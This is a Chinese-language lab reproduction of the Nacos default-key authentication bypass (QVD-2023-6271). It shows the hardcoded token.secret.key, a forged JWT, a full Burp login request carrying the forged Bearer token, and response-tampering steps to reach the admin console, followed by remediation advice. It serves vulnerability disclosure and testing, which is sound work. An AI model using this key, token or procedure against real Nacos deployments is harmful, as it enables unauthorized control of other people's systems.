一、漏洞简介
Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),也叫做NVDB-CNVDB-2023674205,暂无CVE编号,开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
二、影响版本
0.1.0 <= Nacos <= 2.2.0
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
cd nacos/bin
sh startup.sh -m standalone
虚构一个账号密码:abcde / abcdef
四、漏洞复现
1、找到nacos默认key
在0.1.0 <= Nacos <= 2.2.0中,token.secret.key值是固定死的,位置在conf下的application.properties中:
SecretKey012345678901234567890123456789012345678901234567890123456789
{
"sub": "nacos",
"exp": 1687513306
}
//1687513306是unix的时间戳 需要比系统晚 我的时间戳是2023/6/23 17:41:46
得到Encoded JWT密文:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NzUxMzMwNn0.tht3Wj56nhwjdvrpSrru7btKF39-qMC15Bl3oG8Jt3s
3、burp发送构造的数据包,获取cookie
Firefox设置代理,用构造的账号密码登录(账、密随便虚构一个,实际上nacos不存在这个账号)
burp拦截并修改数据包,添加 Authorization行的JWT密文,然后发送:
请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.21.6:8848
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.21.6:8848
Connection: close
Referer: http://192.168.21.6:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NzUxMzMwNn0.tht3Wj56nhwjdvrpSrru7btKF39-qMC15Bl3oG8Jt3s
username=abcde&password=abcdef
截取登录 返回包中的cookie:
Cookie: JSESSIONID=127508D316CF09C2F11E3E96C207F15C
4、利用获取的cookie登录后台
第1步,burp开启拦截,用构造的账号密码登录:
把上面的cookie粘贴到username上面
第2步,右击选择Do intercept–>Response to request
第3步,点击 Forward放包
发现这里报500错,没关系
第4步,回到上面获取cookie那一步 【3、burp发送构造的数据包,获取cookie】
将 框中的 响应包全部复制下来,粘贴到这里面 ,点击放包!!!
第5步,关闭代理,查看浏览器,成功绕过
五、修复方法
1、自行修改key(未验证)
2、更新到2.2.0以上版本